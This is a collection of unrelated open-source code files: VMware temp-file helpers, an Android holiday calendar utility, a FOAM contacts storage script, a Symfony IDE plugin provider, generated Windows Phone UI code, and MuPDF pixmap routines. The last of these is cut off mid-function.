*createNameFuncData, // IN: char **presult) // OUT: { return FileMakeTempEx2Work(dir, createTempFile, FALSE, createNameFunc, createNameFuncData, presult); } /* *---------------------------------------------------------------------------- * * FileMakeTempExCreateNameFunc -- * * This is a helper function designed for File_MakeTempEx function. * Everytime this function is called, this creates a fileName with the * format <num><fileName> and returns back to the caller. * * 'num' specifies the nth time this function is called. * * 'data' specifies the payload that is specified when File_MakeTempEx2() * function is called. This points to a UTF8 string. * * Results: * if successful, a dynamically allocated string with the basename of * the temp file. NULL otherwise. * * Side effects: * None * *---------------------------------------------------------------------------- */ static char * FileMakeTempExCreateNameFunc(uint32 num, // IN: void *data) // IN: { if (data == NULL) { return NULL; } return Unicode_Format("%s%u", (char *) data, num); } /* *---------------------------------------------------------------------- * * File_MakeTempEx -- * * Create a temporary file and, if successful, return an open file * descriptor to that file. * * 'dir' specifies the directory in which to create the file. It * must not end in a slash. * * 'fileName' specifies the base filename of the created file. * * Results: * Open file descriptor or -1; if successful then presult points * to a dynamically allocated string with the pathname of the temp * file. * * Side effects: * Creates a file if successful. Errno is set on error * *---------------------------------------------------------------------- */ int File_MakeTempEx(const char *dir, // IN: const char *fileName, // IN: char **presult) // OUT: { return File_MakeTempEx2(dir, TRUE, FileMakeTempExCreateNameFunc, (void *) fileName, presult); } /* *---------------------------------------------------------------------- * * File_MakeSafeTempDir -- * * Create a temporary directory in a safe area. * * Optional argument 'prefix' specifies the name prefix of the * created directory. When not provided a default will be provided. * * Results: * NULL Failure * !NULL Path name of created directory * * Side effects: * Creates a directory if successful. Errno is set on error * *---------------------------------------------------------------------- */ char * File_MakeSafeTempDir(const char *prefix) // IN: { char *result = NULL; char *dir = File_GetSafeTmpDir(TRUE); if (dir != NULL) { const char *effectivePrefix = (prefix == NULL) ? "safeDir" : prefix; FileMakeTempEx2Work(dir, FALSE, TRUE, FileMakeTempExCreateNameFunc, (void *) effectivePrefix, &result); Posix_Free(dir); } return result; } /* *---------------------------------------------------------------------- * * File_MakeSafeTemp -- * * Exactly the same as File_MakeTempEx except uses a safe directory * as the default temporary directory. * * Results: * Open file descriptor or -1 * * Side effects: * Creates a file if successful. * *---------------------------------------------------------------------- */ int File_MakeSafeTemp(const char *tag, // IN (OPT): char **presult) // OUT: { int fd; char *dir = NULL; char *fileName = NULL; ASSERT(presult); *presult = NULL; if (tag && File_IsFullPath(tag)) { File_GetPathName(tag, &dir, &fileName); } else { dir = File_GetSafeTmpDir(TRUE); fileName = Unicode_Duplicate(tag ? tag : "vmware"); } fd = File_MakeTempEx(dir, fileName, presult); Posix_Free(dir); Posix_Free(fileName); return fd; } /* *----------------------------------------------------------------------------- * * File_DoesVolumeSupportAcls -- * * Determines if the volume that the pathname resides on supports * ACLs. * * Results: * TRUE it does * FALSE it doesn't * * Side effects: * None. * *----------------------------------------------------------------------------- */ Bool File_DoesVolumeSupportAcls(const char *path) // IN: { Bool succeeded = FALSE; #if defined(_WIN32) Bool res; char *vol; char *vol2; const utf16_t *vol2W; DWORD fsFlags; ASSERT(path); File_SplitName(path, &vol, NULL, NULL); vol2 = Unicode_Append(vol, DIRSEPS); vol2W = UNICODE_GET_UTF16(vol2); res = GetVolumeInformationW(vol2W, NULL, 0, NULL, NULL, &fsFlags, NULL, 0); UNICODE_RELEASE_UTF16(vol2W); if (res) { if ((fsFlags & FS_PERSISTENT_ACLS) == 0) { goto exit; } } else { Log(LGPFX" %s: GetVolumeInformation failed: %d\n", __FUNCTION__, GetLastError()); goto exit; } succeeded = TRUE; exit: Posix_Free(vol); Posix_Free(vol2); #endif return succeeded; }
{ "pile_set_name": "Github" }
package com.othershe.calendarview.utils; import android.text.TextUtils; import java.util.Calendar; public class SolarUtil { /** * 计算阳历节日 * * @param year * @param month * @param day * @return */ public static String getSolarHoliday(int year, int month, int day) { int md = (int) (month * Math.pow(10, day >= 10 ? 2 : 1) + day); String holiday = ""; switch (md) { case 11: holiday = "元旦"; break; case 214: holiday = "情人节"; break; case 38: holiday = "妇女节"; break; case 312: holiday = "植树节"; break; case 41: holiday = "愚人节"; break; case 51: holiday = "劳动节"; break; case 54: holiday = "青年节"; break; case 512: holiday = "护士节"; break; case 61: holiday = "儿童节"; break; case 71: holiday = "建党节"; break; case 81: holiday = "建军节"; break; case 910: holiday = "教师节"; break; case 101: holiday = "国庆节"; break; case 1111: holiday = "光棍节"; break; case 1224: holiday = "平安夜"; break; case 1225: holiday = "圣诞节"; break; } if (!TextUtils.isEmpty(holiday)) { return holiday; } if (month == 4) { holiday = chingMingDay(year, day); } else if (month == 5) { if (day == motherFatherDay(year, month, 1)) { holiday = "母亲节"; } } else if (month == 6) { if (day == motherFatherDay(year, month, 2)) { holiday = "父亲节"; } } return holiday; } /** * 计算母亲节、父亲节是几号 * * @param year * @param month * @param delta * @return */ private static int motherFatherDay(int year, int month, int delta) { int f = getFirstWeekOfMonth(year, month - 1); f = f == 0 ? 7 : f; return 7 - f + 1 + 7 * delta; } public static String chingMingDay(int year, int day) { String holiday = ""; if (day >= 4 && day <= 6) { if (year <= 1999) { int compare = (int) (((year - 1900) * 0.2422 + 5.59) - ((year - 1900) / 4)); if (compare == day) { holiday = "清明节"; } } else { int compare = (int) (((year - 2000) * 0.2422 + 4.81) - ((year - 2000) / 4)); if (compare == day) { holiday = "清明节"; } } } return holiday; } /** * 计算指定月份的天数 * * @param year * @param month * @return */ public static int getMonthDays(int year, int month) { switch (month) { case 1: case 3: case 5: case 7: case 8: case 10: case 12: return 31; case 4: case 6: case 9: case 11: return 30; case 2: if (((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0)) { return 29; } else { return 28; } default: return -1; } } /** * 计算当月1号是周几 * * @param year * @param month * @return */ public static int getFirstWeekOfMonth(int year, int month) { Calendar calendar = Calendar.getInstance(); calendar.set(year, month, 1); return calendar.get(Calendar.DAY_OF_WEEK) - 1; } }
{ "pile_set_name": "Github" }
/** * @license * Copyright 2013 Google Inc. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ console.time('Storage'); var EMailDAO = NullDAO.create({}); var ContactDAO = MDAO.create({ model: Contact }); ContactDAO.addIndex(Contact.EMAIL); ContactDAO.addIndex(Contact.FIRST); ContactDAO.addIndex(Contact.LAST); console.time('authAgent'); var authAgent = ChromeAuthAgent.create({}); console.timeEnd('authAgent'); console.time('JsonXhrFactory'); var JsonXhrFactory = OAuthXhrFactory.create({ authAgent: authAgent, responseType: "json" }); console.timeEnd('JsonXhrFactory'); console.time('BlobXhrFactory'); var BlobXhrFactory = OAuthXhrFactory.create({ authAgent: authAgent, responseType: "blob" }); console.timeEnd('BlobXhrFactory'); console.time('ContactAvatarDAO'); var ContactAvatarDAO = LRUCachingDAO.create({ maxSize: 50, delegate: FutureDAO.create({future: aseq(asleep(200), function(ret) { ret(LazyCacheDAO.create({ cache: IDBDAO.create({ model: Contact, name: 'ContactAvatars2' }), delegate: ContactAvatarNetworkDAO.create({ xhrFactory: BlobXhrFactory }) })); })}) }); console.timeEnd('ContactAvatarDAO'); ContactDAO = X.lookup('foam.dao.EasyDAO').create({model: Contact, cache: true}) ContactAvatarDAO = X.foam.core.dao.PropertyOffloadDAO.create({ property: Contact.AVATAR, model: Contact, offloadDAO: ContactAvatarDAO, delegate: ContactDAO, loadOnSelect: true }); aseq(asleep(1000), function() { ContactDAO.select(COUNT())(function(c) { if ( c.count === 0 ) { console.log('Importing contacts...'); importContacts(ContactDAO, JsonXhrFactory); } }); })(); var persistentContext = PersistentContext.create({ dao: IDBDAO.create({model: Binding}), predicate: NOT_TRANSIENT, context: GLOBAL }); // Load and persist user info. persistentContext.bindObject('userInfo', UserInfo, {})( aseq( asleep(250), function(ret) { var xhr = JsonXhrFactory.make(); xhr.asend(ret, "GET", "https://www.googleapis.com/oauth2/v1/userinfo?alt=json"); }, function(ret, response) { if ( response ) { userInfo.email = response.email; } })); console.timeEnd('Storage');
{ "pile_set_name": "Github" }
package fr.adrienbrault.idea.symfony2plugin.external.toolbox.provider; import com.intellij.codeInsight.lookup.LookupElement; import com.intellij.psi.PsiElement; import de.espend.idea.php.toolbox.completion.dict.PhpToolboxCompletionContributorParameter; import de.espend.idea.php.toolbox.extension.PhpToolboxProviderAbstract; import de.espend.idea.php.toolbox.navigation.dict.PhpToolboxDeclarationHandlerParameter; import de.espend.idea.php.toolbox.provider.presentation.ProviderPresentation; import fr.adrienbrault.idea.symfony2plugin.Symfony2Icons; import fr.adrienbrault.idea.symfony2plugin.Symfony2ProjectComponent; import fr.adrienbrault.idea.symfony2plugin.config.component.ParameterLookupElement; import fr.adrienbrault.idea.symfony2plugin.dic.ContainerParameter; import fr.adrienbrault.idea.symfony2plugin.stubs.ContainerCollectionResolver; import org.jetbrains.annotations.NotNull; import org.jetbrains.annotations.Nullable; import javax.swing.*; import java.util.*; /** * @author Daniel Espendiller <[email protected]> */ public class ServiceParameterToolboxProvider extends PhpToolboxProviderAbstract { @NotNull @Override public Collection<LookupElement> getLookupElements(@NotNull PhpToolboxCompletionContributorParameter parameter) { if(!Symfony2ProjectComponent.isEnabled(parameter.getProject())) { return Collections.emptyList(); } List<LookupElement> results = new ArrayList<>(); for(Map.Entry<String, ContainerParameter> entry: ContainerCollectionResolver.getParameters(parameter.getProject()).entrySet()) { results.add(new ParameterLookupElement(entry.getValue())); } return results; } @NotNull @Override public Collection<PsiElement> getPsiTargets(@NotNull PhpToolboxDeclarationHandlerParameter parameter) { if(!Symfony2ProjectComponent.isEnabled(parameter.getProject())) { return Collections.emptyList(); } return Collections.emptyList(); } @NotNull @Override public String getName() { return "symfony.parameters"; } @Nullable @Override public ProviderPresentation getPresentation() { return new ProviderPresentation() { @Nullable @Override public Icon getIcon() { return Symfony2Icons.PARAMETER; } @Nullable @Override public String getDescription() { return "Container parameter"; } }; } }
{ "pile_set_name": "Github" }
#pragma checksum "C:\Users\panag\Desktop\anyplace\windows\AnyPlace\MainPage.xaml" "{406ea660-64cf-4c82-b6f0-42d48172a799}" "8265E9B7CBEEE292C90A587790A4D67A" //------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Runtime Version:4.0.30319.42000 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ using Microsoft.Phone.Controls; using Microsoft.Phone.Maps.Controls; using Microsoft.Phone.Shell; using System; using System.Windows; using System.Windows.Automation; using System.Windows.Automation.Peers; using System.Windows.Automation.Provider; using System.Windows.Controls; using System.Windows.Controls.Primitives; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Ink; using System.Windows.Input; using System.Windows.Interop; using System.Windows.Markup; using System.Windows.Media; using System.Windows.Media.Animation; using System.Windows.Media.Imaging; using System.Windows.Resources; using System.Windows.Shapes; using System.Windows.Threading; namespace AnyPlace { public partial class MainPage : Microsoft.Phone.Controls.PhoneApplicationPage { internal System.Windows.Controls.Canvas canvas; internal System.Windows.Media.Animation.Storyboard moveAnimation; internal System.Windows.Controls.Canvas CanvasMenu; internal System.Windows.Controls.Grid gd_result; internal System.Windows.Controls.ProgressBar pb_result; internal System.Windows.Controls.TextBlock txt_term; internal System.Windows.Controls.TextBlock txt_result; internal Microsoft.Phone.Controls.LongListSelector ls_search; internal System.Windows.Controls.Grid directions_grid; internal System.Windows.Controls.ProgressBar calcProgrBar; internal System.Windows.Controls.TextBlock calcroutestext; internal System.Windows.Controls.TextBlock time; internal System.Windows.Controls.TextBlock distance; internal System.Windows.Controls.TextBlock dire; internal Microsoft.Phone.Controls.LongListSelector RouteLLS; internal System.Windows.Controls.Grid grdCommands; public Microsoft.Phone.Maps.Controls.Map Mymap; internal System.Windows.Controls.Grid floorpicker; internal Microsoft.Phone.Controls.AutoCompleteBox autoCompleteBuilding; internal System.Windows.Controls.TextBlock txt_selectedfloor; internal Microsoft.Phone.Controls.ListPicker Picker; internal System.Windows.Controls.Button btn_builddown; internal System.Windows.Controls.Button btn_floordown; internal System.Windows.Controls.Grid buildingsButton; internal System.Windows.Controls.Grid optionsbtn; internal System.Windows.Controls.Grid lpicker; internal Microsoft.Phone.Controls.ListPicker BPicker; internal System.Windows.Controls.Grid downloading; internal System.Windows.Controls.TextBlock txt_download; internal System.Windows.Controls.Grid trackmebtn; internal System.Windows.Controls.Grid floorButton; internal System.Windows.Controls.StackPanel stack; internal System.Windows.Controls.ProgressBar loading; internal System.Windows.Controls.Grid closeGrid; internal System.Windows.Controls.TextBlock txt_msg; internal System.Windows.Controls.Grid zoompanel; internal System.Windows.Controls.StackPanel floorPanel; internal System.Windows.Controls.TextBlock txt_cur; internal System.Windows.Controls.Grid ContentPanel; internal System.Windows.Controls.Grid grid_search; internal System.Windows.Controls.TextBlock txt_msg1; internal System.Windows.Controls.Button all_builds; internal Microsoft.Phone.Controls.AutoCompleteBox autoCompleteBox; internal System.Windows.Controls.Grid MapOptions; internal Microsoft.Phone.Shell.ApplicationBar appBar; internal Microsoft.Phone.Shell.ApplicationBarIconButton sbutton; private bool _contentLoaded; /// <summary> /// InitializeComponent /// </summary> [System.Diagnostics.DebuggerNonUserCodeAttribute()] public void InitializeComponent() { if (_contentLoaded) { return; } _contentLoaded = true; System.Windows.Application.LoadComponent(this, new System.Uri("/AnyPlace;component/MainPage.xaml", System.UriKind.Relative)); this.canvas = ((System.Windows.Controls.Canvas)(this.FindName("canvas"))); this.moveAnimation = ((System.Windows.Media.Animation.Storyboard)(this.FindName("moveAnimation"))); this.CanvasMenu = ((System.Windows.Controls.Canvas)(this.FindName("CanvasMenu"))); this.gd_result = ((System.Windows.Controls.Grid)(this.FindName("gd_result"))); this.pb_result = ((System.Windows.Controls.ProgressBar)(this.FindName("pb_result"))); this.txt_term = ((System.Windows.Controls.TextBlock)(this.FindName("txt_term"))); this.txt_result = ((System.Windows.Controls.TextBlock)(this.FindName("txt_result"))); this.ls_search = ((Microsoft.Phone.Controls.LongListSelector)(this.FindName("ls_search"))); this.directions_grid = ((System.Windows.Controls.Grid)(this.FindName("directions_grid"))); this.calcProgrBar = ((System.Windows.Controls.ProgressBar)(this.FindName("calcProgrBar"))); this.calcroutestext = ((System.Windows.Controls.TextBlock)(this.FindName("calcroutestext"))); this.time = ((System.Windows.Controls.TextBlock)(this.FindName("time"))); this.distance = ((System.Windows.Controls.TextBlock)(this.FindName("distance"))); this.dire = ((System.Windows.Controls.TextBlock)(this.FindName("dire"))); this.RouteLLS = ((Microsoft.Phone.Controls.LongListSelector)(this.FindName("RouteLLS"))); this.grdCommands = ((System.Windows.Controls.Grid)(this.FindName("grdCommands"))); this.Mymap = ((Microsoft.Phone.Maps.Controls.Map)(this.FindName("Mymap"))); this.floorpicker = ((System.Windows.Controls.Grid)(this.FindName("floorpicker"))); this.autoCompleteBuilding = ((Microsoft.Phone.Controls.AutoCompleteBox)(this.FindName("autoCompleteBuilding"))); this.txt_selectedfloor = ((System.Windows.Controls.TextBlock)(this.FindName("txt_selectedfloor"))); this.Picker = ((Microsoft.Phone.Controls.ListPicker)(this.FindName("Picker"))); this.btn_builddown = ((System.Windows.Controls.Button)(this.FindName("btn_builddown"))); this.btn_floordown = ((System.Windows.Controls.Button)(this.FindName("btn_floordown"))); this.buildingsButton = ((System.Windows.Controls.Grid)(this.FindName("buildingsButton"))); this.optionsbtn = ((System.Windows.Controls.Grid)(this.FindName("optionsbtn"))); this.lpicker = ((System.Windows.Controls.Grid)(this.FindName("lpicker"))); this.BPicker = ((Microsoft.Phone.Controls.ListPicker)(this.FindName("BPicker"))); this.downloading = ((System.Windows.Controls.Grid)(this.FindName("downloading"))); this.txt_download = ((System.Windows.Controls.TextBlock)(this.FindName("txt_download"))); this.trackmebtn = ((System.Windows.Controls.Grid)(this.FindName("trackmebtn"))); this.floorButton = ((System.Windows.Controls.Grid)(this.FindName("floorButton"))); this.stack = ((System.Windows.Controls.StackPanel)(this.FindName("stack"))); this.loading = ((System.Windows.Controls.ProgressBar)(this.FindName("loading"))); this.closeGrid = ((System.Windows.Controls.Grid)(this.FindName("closeGrid"))); this.txt_msg = ((System.Windows.Controls.TextBlock)(this.FindName("txt_msg"))); this.zoompanel = ((System.Windows.Controls.Grid)(this.FindName("zoompanel"))); this.floorPanel = ((System.Windows.Controls.StackPanel)(this.FindName("floorPanel"))); this.txt_cur = ((System.Windows.Controls.TextBlock)(this.FindName("txt_cur"))); this.ContentPanel = ((System.Windows.Controls.Grid)(this.FindName("ContentPanel"))); this.grid_search = ((System.Windows.Controls.Grid)(this.FindName("grid_search"))); this.txt_msg1 = ((System.Windows.Controls.TextBlock)(this.FindName("txt_msg1"))); this.all_builds = ((System.Windows.Controls.Button)(this.FindName("all_builds"))); this.autoCompleteBox = ((Microsoft.Phone.Controls.AutoCompleteBox)(this.FindName("autoCompleteBox"))); this.MapOptions = ((System.Windows.Controls.Grid)(this.FindName("MapOptions"))); this.appBar = ((Microsoft.Phone.Shell.ApplicationBar)(this.FindName("appBar"))); this.sbutton = ((Microsoft.Phone.Shell.ApplicationBarIconButton)(this.FindName("sbutton"))); } } }
{ "pile_set_name": "Github" }
#include "mupdf/fitz.h" #include "color-imp.h" #include <assert.h> #include <limits.h> #include <string.h> #include <math.h> fz_pixmap * fz_keep_pixmap(fz_context *ctx, fz_pixmap *pix) { return fz_keep_storable(ctx, &pix->storable); } void fz_drop_pixmap(fz_context *ctx, fz_pixmap *pix) { fz_drop_storable(ctx, &pix->storable); } void fz_drop_pixmap_imp(fz_context *ctx, fz_storable *pix_) { fz_pixmap *pix = (fz_pixmap *)pix_; fz_drop_colorspace(ctx, pix->colorspace); fz_drop_separations(ctx, pix->seps); if (pix->flags & FZ_PIXMAP_FLAG_FREE_SAMPLES) fz_free(ctx, pix->samples); fz_drop_pixmap(ctx, pix->underlying); fz_free(ctx, pix); } fz_pixmap * fz_new_pixmap_with_data(fz_context *ctx, fz_colorspace *colorspace, int w, int h, fz_separations *seps, int alpha, int stride, unsigned char *samples) { fz_pixmap *pix; int s = fz_count_active_separations(ctx, seps); int n; if (w < 0 || h < 0) fz_throw(ctx, FZ_ERROR_GENERIC, "Illegal dimensions for pixmap %d %d", w, h); n = alpha + s + fz_colorspace_n(ctx, colorspace); if (stride < n*w && stride > -n*w) fz_throw(ctx, FZ_ERROR_GENERIC, "Illegal stride for pixmap (n=%d w=%d, stride=%d)", n, w, stride); if (samples == NULL && stride < n*w) fz_throw(ctx, FZ_ERROR_GENERIC, "Illegal -ve stride for pixmap without data"); if (n > FZ_MAX_COLORS) fz_throw(ctx, FZ_ERROR_GENERIC, "Illegal number of colorants"); pix = fz_malloc_struct(ctx, fz_pixmap); FZ_INIT_STORABLE(pix, 1, fz_drop_pixmap_imp); pix->x = 0; pix->y = 0; pix->w = w; pix->h = h; pix->alpha = alpha = !!alpha; pix->flags = FZ_PIXMAP_FLAG_INTERPOLATE; pix->xres = 96; pix->yres = 96; pix->colorspace = NULL; pix->n = n; pix->s = s; pix->seps = fz_keep_separations(ctx, seps); pix->stride = stride; if (colorspace) { pix->colorspace = fz_keep_colorspace(ctx, colorspace); } else { assert(alpha || s); } pix->samples = samples; if (!samples) { fz_try(ctx) { if (pix->stride - 1 > INT_MAX / pix->n) fz_throw(ctx, FZ_ERROR_GENERIC, "overly wide image"); pix->samples = Memento_label(fz_malloc(ctx, pix->h * pix->stride), "pixmap_data"); } fz_catch(ctx) { fz_drop_separations(ctx, pix->seps); fz_drop_colorspace(ctx, pix->colorspace); fz_free(ctx, pix); fz_rethrow(ctx); } pix->flags |= FZ_PIXMAP_FLAG_FREE_SAMPLES; } return pix; } fz_pixmap * fz_new_pixmap(fz_context *ctx, fz_colorspace *colorspace, int w, int h, fz_separations *seps, int alpha) { int stride; int s = fz_count_active_separations(ctx, seps); if (!colorspace && s == 0) alpha = 1; stride = (fz_colorspace_n(ctx, colorspace) + s + alpha) * w; return fz_new_pixmap_with_data(ctx, colorspace, w, h, seps, alpha, stride, NULL); } fz_pixmap * fz_new_pixmap_with_bbox(fz_context *ctx, fz_colorspace *colorspace, fz_irect bbox, fz_separations *seps, int alpha) { fz_pixmap *pixmap; pixmap = fz_new_pixmap(ctx, colorspace, bbox.x1 - bbox.x0, bbox.y1 - bbox.y0, seps, alpha); pixmap->x = bbox.x0; pixmap->y = bbox.y0; return pixmap; } fz_pixmap * fz_new_pixmap_with_bbox_and_data(fz_context *ctx, fz_colorspace *colorspace, fz_irect bbox, fz_separations *seps, int alpha, unsigned char *samples) { int w = bbox.x1 - bbox.x0; int stride; int s = fz_count_active_separations(ctx, seps); fz_pixmap *pixmap; if (!colorspace && s == 0) alpha = 1; stride = (fz_colorspace_n(ctx, colorspace) + s + alpha) * w; pixmap = fz_new_pixmap_with_data(ctx, colorspace, w, bbox.y1 - bbox.y0, seps, alpha, stride, samples); pixmap->x = bbox.x0; pixmap->y = bbox.y0; return pixmap; } fz_pixmap *fz_new_pixmap_from_pixmap(fz_context *ctx, fz_pixmap *pixmap, const fz_irect *rect) { fz_irect local_rect; fz_pixmap *subpix; if (!pixmap) return NULL; if (rect == NULL) { rect = &local_rect; local_rect.x0 = pixmap->x; local_rect.y0 = pixmap->y; local_rect.x1 = pixmap->x + pixmap->w; local_rect.y1 = pixmap->y + pixmap->h; } else if (rect->x0 < pixmap->x || rect->y0 < pixmap->y || rect->x1 > pixmap->x + pixmap->w || rect->y1 > pixmap->y + pixmap->h) fz_throw(ctx, FZ_ERROR_GENERIC, "Pixmap region is not a subarea"); subpix = fz_malloc_struct(ctx, fz_pixmap); *subpix = *pixmap; subpix->storable.refs = 1; subpix->x = rect->x0; subpix->y = rect->y0; subpix->w = rect->x1 - rect->x0; subpix->h = rect->y1 - rect->y0; subpix->samples += (rect->x0 - pixmap->x) + (rect->y0 - pixmap->y) * pixmap->stride; subpix->underlying = fz_keep_pixmap(ctx, pixmap); subpix->colorspace = fz_keep_colorspace(ctx, pixmap->colorspace); subpix->seps = fz_keep_separations(ctx, pixmap->seps); subpix->flags &= ~FZ_PIXMAP_FLAG_FREE_SAMPLES; return subpix; } fz_pixmap *fz_clone_pixmap(fz_context *ctx, const fz_pixmap *old) { fz_pixmap *pix = fz_new_pixmap_with_bbox(ctx, old->colorspace, fz_make_irect(old->x, old->y, old->w, old->h), old->seps, old->alpha); memcpy(pix->samples, old->samples, pix->stride * pix->h); return pix; } fz_irect fz_pixmap_bbox(fz_context *ctx, const fz_pixmap *pix) { fz_irect bbox; bbox.x0 = pix->x; bbox.y0 = pix->y; bbox.x1 = pix->x + pix->w; bbox.y1 = pix->y + pix->h; return bbox; } fz_irect fz_pixmap_bbox_no_ctx(const fz_pixmap *pix) { fz_irect bbox; bbox.x0 = pix->x; bbox.y0 = pix->y; bbox.x1 = pix->x + pix->w; bbox.y1 = pix->y + pix->h; return bbox; } fz_colorspace * fz_pixmap_colorspace(fz_context *ctx, const fz_pixmap *pix) { if (!pix) return NULL; return pix->colorspace; } int fz_pixmap_x(fz_context *ctx, const fz_pixmap *pix) { return pix->x; } int fz_pixmap_y(fz_context *ctx, const fz_pixmap *pix) { return pix->y; } int fz_pixmap_width(fz_context *ctx, const fz_pixmap *pix) { return pix->w; } int fz_pixmap_height(fz_context *ctx, const fz_pixmap *pix) { return pix->h; } int fz_pixmap_components(fz_context *ctx, const fz_pixmap *pix) { return pix->n; } int fz_pixmap_colorants(fz_context *ctx, const fz_pixmap *pix) { return pix->n - pix->alpha - pix->s; } int fz_pixmap_spots(fz_context *ctx, const fz_pixmap *pix) { return pix->s; } int fz_pixmap_alpha(fz_context *ctx, const fz_pixmap *pix) { return pix->alpha; } int fz_pixmap_stride(fz_context *ctx, const fz_pixmap *pix) { return pix->stride; } unsigned char * fz_pixmap_samples(fz_context *ctx, const fz_pixmap *pix) { if (!pix) return NULL; return pix->samples; } /* The slowest routine in most CMYK rendering profiles. We therefore spend some effort to improve it. Rather than writing bytes, we write uint32_t's. */ #ifdef ARCH_ARM static void clear_cmyka_bitmap_ARM(uint32_t *samples, int c, int value) __attribute__((naked)); static void clear_cmyka_bitmap_ARM(uint32_t *samples, int c, int value) { asm volatile( ENTER_ARM "stmfd r13!,{r4-r6,r14} \n" "@ r0 = samples \n" "@ r1 = c \n" "@ r2 = value \n" "mov r3, #255 \n" "mov r12,#0 @ r12= 0 \n" "subs r1, r1, #3 \n" "ble 2f \n" "str r12,[r13,#-20]! \n" "str r12,[r13,#4] \n" "str r12,[r13,#8] \n" "str r12,[r13,#12] \n" "str r12,[r13,#16] \n" "strb r2, [r13,#3] \n" "strb r3, [r13,#4] \n" "strb r2, [r13,#8] \n" "strb r3, [r13,#9] \n" "strb r2, [r13,#13] \n" "strb r3, [r13,#14] \n" "strb r2, [r13,#18] \n" "strb r3, [r13,#19] \n" "ldmfd r13!,{r4,r5,r6,r12,r14} \n" "1: \n" "stmia r0!,{r4,r5,r6,r12,r14} \n" "subs r1, r1, #4 \n" "bgt 1b \n" "2: \n" "adds r1, r1, #3 \n" "ble 4f \n" "3: \n" "strb r12,[r0], #1 \n" "strb r12,[r0], #1 \n" "strb r12,[r0], #1 \n" "strb r2, [r0], #1 \n" "strb r3, [r0], #1 \n" "subs r1, r1, #1 \n" "bgt 3b \n" "4: \n" "ldmfd r13!,{r4-r6,PC} \n" ENTER_THUMB ); } #endif static void clear_cmyk_bitmap(unsigned char *samples, int w, int h, int spots, int stride, int value, int alpha) { uint32_t *s = (uint32_t *)(void *)samples; uint8_t *t; if (w < 0 || h < 0) return; if (spots) { int x, i; spots += 4; stride -= w * (spots + alpha); for (; h > 0; h--) { for (x = w; x > 0; x--) { for (i = spots; i > 0; i--) *samples++ = value; if (alpha) *samples++ = 255; } samples += stride; } return; } if (alpha) { int c = w; stride -= w*5; if (stride == 0) { #ifdef ARCH_ARM clear_cmyka_bitmap_ARM(s, c, alpha); return; #else /* We can do it all fast (except for maybe a few stragglers) */ union { uint8_t bytes[20]; uint32_t words[5]; } d; c *= h; h = 1; d.words[0] = 0; d.words[1] = 0; d.words[2] = 0; d.words[3] = 0; d.words[4] = 0; d.bytes[3] = value; d.bytes[4] = 255; d.bytes[8] = value; d.bytes[9] = 255; d.bytes[13] = value; d.bytes[14] = 255; d.bytes[18] = value; d.bytes[19] = 255; c -= 3; { const uint32_t a0 = d.words[0]; const uint32_t a1 = d.words[1]; const uint32_t a2 = d.words[2]; const uint32_t a3 = d.words[3]; const uint32_t a4 = d.words[4]; while (c > 0) { *s++ = a0; *s++ = a1; *s++ = a2; *s++ = a3; *s++ = a4; c -= 4; } } c += 3; #endif } t = (unsigned char *)s; w = c; while (h--) { c = w; while (c > 0) { *t++ = 0; *t++ = 0; *t++ = 0; *t++ = value; *t++ = 255; c--; } t += stride; } } else { stride -= w*4; if ((stride & 3) == 0) { size_t W = w; if (stride == 0) { W *= h; h = 1; } W *= 4; if (value == 0) { while (h--) { memset(s, 0, W); s += (stride>>2); } } else { /* We can do it all fast */ union { uint8_t bytes[4]; uint32_t word; } d; d.word = 0; d.bytes[3] = value; { const uint32_t a0 = d.word; while (h--) { size_t WW = W >> 2; while (WW--) { *s++ = a0; } s += (stride>>2); } } } } else { t = (unsigned char *)s; while (h--) { int c = w; while (c > 0) { *t++ = 0; *t++ = 0; *t++ = 0; *t++ = value; c--; } t += stride; } } } } void fz_clear_pixmap(fz_context *ctx, fz_pixmap *pix) { int stride = pix->w * pix->n; int h = pix->h; unsigned char *s = pix->samples; if (stride == pix->stride) { stride *= h; h = 1; } if (pix->alpha || fz_colorspace_is_subtractive(ctx, pix->colorspace)) { while (h--) { memset(s, 0, (unsigned int)stride); s += pix->stride; } } else if (pix->s == 0) { while (h--) { memset(s, 0xff, (unsigned int)stride); s += pix->stride; } } else { /* Horrible, slow case: additive with spots */ int w = stride/pix->n; int spots = pix->s; int colorants = pix->n - spots; /* We know there is no alpha */ while (h--) { int w2 = w; while (w2--) { int i = colorants; do { *s++ = 0xff; i--; } while (i != 0); i = spots; do { *s++ = 0; i--; } while (i != 0); } } } } void fz_clear_pixmap_with_value(fz_context *ctx, fz_pixmap *pix, int value) { unsigned char *s; int w, h, n, stride, len; int alpha = pix->alpha; w = pix->w; h = pix->h; if (w < 0 || h < 0) return; /* CMYK needs special handling (and potentially any other subtractive colorspaces) */ if (fz_colorspace_n(ctx, pix->colorspace) == 4) { clear_cmyk_bitmap(pix->samples, w, h, pix->s, pix->stride, 255-value, pix->alpha); return; } n = pix->n; stride = pix->stride; len = w * n; s = pix->samples; if (value == 255 || !alpha) { if (stride == len) { len *= h; h = 1; } while (h--) { memset(s, value, (unsigned int)len); s += stride; } } else { int k, x, y; stride -= len; for (y = 0; y < pix->h; y++) { for (x = 0; x < pix->w; x++) { for (k = 0; k < pix->n - 1; k++) *s++ = value; if (alpha) *s++ = 255; } s += stride; } } } void fz_fill_pixmap_with_color(fz_context *ctx, fz_pixmap *pix, fz_colorspace *colorspace, float *color, fz_color_params color_params) { float colorfv[FZ_MAX_COLORS]; unsigned char colorbv[FZ_MAX_COLORS]; int i, n, a, s, x, y, w, h; n = fz_colorspace_n(ctx, pix->colorspace); a = pix->alpha; s = pix->s; fz_convert_color(ctx, colorspace, color, pix->colorspace, colorfv, NULL, color_params); for (i = 0; i < n; ++i) colorbv[i] = colorfv[i] * 255; w = pix->w; h = pix->h; for (y = 0; y < h; ++y) { unsigned char *p = pix->samples + y * pix->stride; for (x = 0; x < w; ++x) { for (i = 0; i < n; ++i) *p++ = colorbv[i]; for (i = 0; i < s; ++i) *p++ = 